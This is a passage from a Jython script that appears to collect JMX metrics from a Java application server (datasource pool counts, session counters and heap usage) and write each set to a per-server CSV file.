                print "type:%s, name:%s" % (type, name.replace('\"',''))
                objName = ObjectName(ele.getObjectName().getCanonicalName())
                attrList = ['numActive', 'numIdle']
                valList = []
                for idx in range(len(attrList)):
                    valList.append(`remote.getAttribute(objName, attrList[idx])`)
                dictionary = dict(zip(attrList, valList))
#                print "DataSource Details for %s:%s" % (server_name, name.replace('\"',''))
                dstFile = server_name + '.DS.' + name.replace('\"','') + '.csv'
                printSortedDictValues(dstFile, dictionary)
            elif(type.lower() == "manager"):
                objName = ObjectName(ele.getObjectName().getCanonicalName())
                name = objName.getKeyProperty("path").replace('/', '')
                attrList = ['sessionCounter', 'activeSessions', 'maxActiveSessions']
                valList = []
                for idx in range(len(attrList)):
                    valList.append(`remote.getAttribute(objName, attrList[idx])`)
                dictionary = dict(zip(attrList, valList))
                print "Session Details for %s:%s" % (server_name, name)
                dstFile = server_name + '.APP.' + name + '.csv'
                printSortedDictValues(dstFile, dictionary)
            elif(type.lower() == "memory"):
                objName = ObjectName(ele.getObjectName().getCanonicalName())
                obj = remote.getAttribute(objName, "HeapMemoryUsage")
                attrList = ['init', 'committed', 'used', 'max']
                valList = []
                for idx in range(len(attrList)):
                    valList.append(`int(obj.get(attrList[idx])/1024/1024)`)
                dictionary = dict(zip(attrList, valList))
                print "Heap Details for %s" % server_name
                dstFile = server_name + '.Heap.csv'
                printSortedDictValues(dstFile, dictionary)